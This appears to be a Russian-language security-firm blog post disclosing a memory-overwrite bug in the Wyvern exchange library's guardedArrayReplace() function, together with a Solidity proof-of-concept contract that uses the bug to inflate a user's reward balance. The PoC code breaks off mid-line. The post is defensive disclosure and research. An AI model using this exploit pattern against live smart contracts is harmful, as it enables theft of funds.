Back to Blog

В протоколе Wyvern обнаружена новая уязвимость перезаписи памяти

Code Auditing
September 8, 2022
3 min read

Введение

Наша система обнаружения уязвимостей нашла уязвимость перезаписи памяти в последней реализации библиотеки Wyvern, которая принадлежит протоколу децентрализованной биржи Wyvern, ранее использовавшемуся OpenSea. Эта ошибка может привести к произвольной записи в хранилище (arbitrary storage write).

Мы пытались связаться с проектом (например, по электронной почте и через социальные сети), но пока не получили ответа. Поскольку OpenSea перешла на протокол Seaport, мы считаем безопасным раскрыть подробную информацию общественности. Кроме того, мы хотели бы поделиться этими результатами для вовлечения сообщества, так как сама ошибка довольно хитрая, а процесс эксплуатации весьма интересен.

Описание

Уязвимый код можно найти в официальном репозитории с хешем коммита 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

В частности, эта ошибка находится в функции guardedArrayReplace() в файле ArrayUtils.sol. Как следует из названия, эта функция используется для выборочного копирования одного байтового массива динамического размера (т.е. второго параметра с именем desired) в другой (т.е. первого параметра с именем array). Обратите внимание, что эта функция реализована для выполнения операции на уровне слов (т.е. 0x20 байт), поэтому логику кода можно разделить на два шага, основываясь на результате деления.

Для части с частным (т.е. words = array.length / 0x20) логика кода со строки 42 по строку 49 будет копировать желаемый массив в целевой массив пословно. Этот шаг работает ожидаемо, хотя оператор assert в строке 39 бесполезен из-за целочисленной арифметики.

После предыдущего шага, если деление дает остаток, это означает, что все еще существуют байты, которые не были корректно скопированы. Логика кода со строки 52 по строку 66 предназначена для обработки этих байтов. К сожалению, инструкция if в строке 52 ошибочно использует частное (words, то есть array.length / 0x20_), а не остаток (array.length % 0x20) для выполнения проверки.

Уровень серьезности

Эта ошибка может привести к произвольной записи в хранилище. Предположим, что array.length делится на 0x20 нацело, тогда операция копирования фактически выполняется в логике цикла. Однако в большинстве случаев функция войдет в уязвимую логику и попытается скопировать слово за пределами массива desired в целевой массив, что неизбежно вызывает выход за границы памяти (out-of-bounds access). Более того, неверная логика может быть использована для перезаписи слова в конце целевого массива — в неизвестную область памяти, которая может быть использована в любых целях.

Как эксплуатировать эту ошибку?

Мы разработали PoC-контракт, чтобы проиллюстрировать потенциальный вектор атаки. PoC-контракт имеет две функции: первая, названная test(), используется для выполнения атаки, а вторая — это просто та самая уязвимая функция guardedArrayReplace().

В частности, в функции test() мы сначала определяем байты в памяти (a, b и mask) и массив (т.е. _rewards). Определенный здесь _rewards будет использоваться для расчета вознаграждений пользователя. После вызова функции guardedArrayReplace() для копирования a в b с использованием mask, значение _rewards будет добавлено к балансу пользователя (т.е. balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt
Sign up for the latest updates
~$5.98M Потеряно: Aztec, Raydium и другие | Еженедельник BlockSec
Security Insights

~$5.98M Потеряно: Aztec, Raydium и другие | Еженедельник BlockSec

Еженедельный отчёт о безопасности блокчейна (8–15 июня 2026 г.): 4 инцидента в Ethereum и Solana, общие потери ~$5,98 млн. Aztec Connect: отсутствие валидации входных данных привело к рассинхронизации rollup и L1. Raydium: уязвимость в AMM v3 позволила дренировать 4 пула.

Анализ уязвимости Zcash Orchard | Еженедельник BlockSec
Security Insights

Анализ уязвимости Zcash Orchard | Еженедельник BlockSec

Критическая уязвимость в цепи Orchard Zcash: отсутствие ограничения равенства в гаджете ECC halo2 позволяло незаметно подделывать ZEC через двойное расходование. Уязвимость существовала 4+ лет, обнаружена ИИ-аудитом (Anthropic Opus 4.8, исследователь Тейлор Хорнби), устранена экстренным обновлением NU6.2.

Информационный бюллетень — май 2026 г.
Security Insights

Информационный бюллетень — май 2026 г.

В мае 2026 года в DeFi произошло 3 взлома: Echo Protocol ($76,7 млн, компрометация ключа), StablR ($12,8 млн, брешь в multisig) и Verus-Ethereum Bridge ($11,7 млн, ошибка проверки типов). Общий ущерб — около $101,2 млн.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit